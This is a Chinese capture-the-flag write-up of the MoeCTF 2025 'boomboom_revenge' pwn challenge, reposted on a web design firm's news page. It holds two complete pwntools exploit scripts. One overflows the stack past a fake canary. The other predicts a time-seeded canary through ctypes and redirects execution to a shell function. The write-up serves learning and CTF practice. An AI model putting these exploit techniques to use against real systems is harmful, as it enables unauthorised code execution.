尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

MoeCTF 2025 二进制漏洞审计:boomboom_revenge

MoeCTF 2025 二进制漏洞审计:boomboom_revenge
📅 发布时间:2026/6/20 22:42:31

前情提要

栈溢出漏洞,简单的校验逻辑,但很容易被唬住,需要一点耐心。

题目分析

你可以轻易爆破我们的系统,但是一个不可泄露的“canary”你又该如何应对?
你可能需要使用 Python ctypes 包来直接调用 C 库函数。
本题解法与时间有关,如果你出现本地能通远程不通的情况,请多试几次。

一般来说,这类pwn题没有多余的提示,先不管它,对比一下两个程序IDA反编译的源码:
boom:

boom_revenge:

共有的shell函数:


俩程序几乎一样,只是在v5、v6和canary的校验上有所区别,其中第一种就很容易绕过(人为实现的假canary),无非是在覆盖栈时另v6为0即可跳过exit(1),最后返回去执行我们覆盖的shell函数,exploit如下:

from pwn import *#context.log_level = 'debug'
p=process('./pwn')
#p=connect('10.21.199.226', 52321)p.recvuntil(b'(y/n)')
p.sendline(b'y')payload = b'a'*124 #覆盖数组s
payload += b'b'*16 #覆盖v5
payload += p32(0x0) #覆盖v6,其值须为0
payload += b'c'*8 #覆盖rbp
payload += p64(0x40127e) #覆盖返回地址,注意需要直接返回到shell函数本身,否则会EOF
p.sendlineafter(b'Enter your message: ', payload)p.interactive()


由于这个解不涉及时间问题,因此不需要多试。

deepseek真好用:)

对于boom_revenge,由于v5和canary是单独校验,没v6的事,因此不能用上一种方法。但是不会真有人去爆破吧?第一次看见时间相关的这种,我也研究了好一会,deepseek帮大忙(OS:又是利用AI摆烂的一天)。

canary = (int)random() % 114514的本地C逻辑:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>int main() {srand(time(NULL));  // 设置种子为当前时间int canary = rand() % 114514;printf("Canary: %d\n", canary);return 0;
}

对应的python:

from ctypes import CDLL
import timelibc = CDLL('libc.so.6')
libc.srand(int(time.time()))
canary = libc.rand() % 114514
print(f"Python predicted: {canary}")

因此exploit:

from pwn import *
from ctypes import CDLL
import time#context.log_level = 'debug'
p=process('./pwn2')
#p=connect('10.21.199.226', 52321)p.recvuntil(b'(y/n)')
p.sendline(b'y')libc = CDLL('libc.so.6')
current_time = int(time.time())
libc.srand(current_time)
predicted_canary = libc.rand() % 114514payload = b'a'*124
payload += p32(predicted_canary) #16字节拆分为4+12,小端写入v5的值
payload += b'b'*12
payload += p32(0x1)
payload += b'c'*8
payload += p64(0x40127e)
p.sendlineafter(b'Enter your message: ', payload)p.interactive()


但是,但是,但是,要是发远程,由于服务器延迟,需要微调时间,我调了一会,大概是current_time = int(time.time()) - 2即可(必须要有,不然会一直不成功)。


最后吐个槽,以往百用百灵的chatgpt今天那破政策搞得啥都不肯跟我说,deepseek WIN!

相关新闻

  • 威联通 NAS Docker 容器更新详解:从备份、推送到重建的全流程指南
  • UNIQUE VISION Programming Contest 2024 Autumn (AtCoder Beginner Contest 425)
  • loguru 日志库快速入门

最新新闻

  • 5分钟掌握:iwck键盘鼠标防误触工具实战应用全解析
  • 达州市黄金回收猫腻多怎么办?整理了5家诚信回收店供参考 - 千叶啊
  • 迪庆藏族自治州黄金首饰回收正规门店推荐,附各区回收网点联系方式 - 千叶啊
  • ChatGPT不是新软件,而是你该重建的对话式工作习惯
  • iFakeLocation:无需越狱的iOS虚拟定位工具,三大平台轻松修改设备位置
  • GPT-5.5五大变现场景:外贸翻译、音乐分轨、养老短信等实操指南

日新闻

  • Visual C++运行库修复终极指南:5分钟快速解决Windows软件启动错误
  • 手把手教你构建统计局地区经济数据爬虫:从环境搭建到数据持久化全指南
  • 2026多Agent深度解析:用AI团队替代单一模型,四种架构实战落地

周新闻

  • Visual C++运行库修复终极指南:5分钟快速解决Windows软件启动错误
  • 手把手教你构建统计局地区经济数据爬虫:从环境搭建到数据持久化全指南
  • 2026多Agent深度解析:用AI团队替代单一模型,四种架构实战落地

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号